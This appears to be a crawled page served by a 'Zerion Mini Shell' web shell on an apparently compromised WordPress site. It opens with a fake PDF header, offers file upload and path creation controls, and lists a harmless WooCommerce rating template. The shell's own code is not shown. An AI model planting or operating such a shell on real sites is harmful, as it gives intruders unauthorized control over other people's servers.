%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/gachan/www/wp-content/themes/medicure/woocommerce/loop/
Upload File :
Create Path :
Current File : /home/gachan/www/wp-content/themes/medicure/woocommerce/loop/rating.php

<?php
/**
 * Loop Rating
 *
 * @author 		WooThemes
 * @package 	WooCommerce/Templates
 * @version     2.0.0
 * 
 * @cmsms_package 	Medicure
 * @cmsms_version 	1.4.0
 */


if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

global $product;

if ( get_option( 'woocommerce_enable_review_rating' ) === 'no' )
	return;

	
if ($rating_html = $product->get_rating_html()) {
	echo $rating_html;
} else {
	echo '<div title="Rated 0.00 out of 5" class="star-rating">' . 
		'<span style="width:0%"><strong class="rating">0.00</strong> out of 5</span>' . 
	'</div>';
}

Zerion Mini Shell 1.0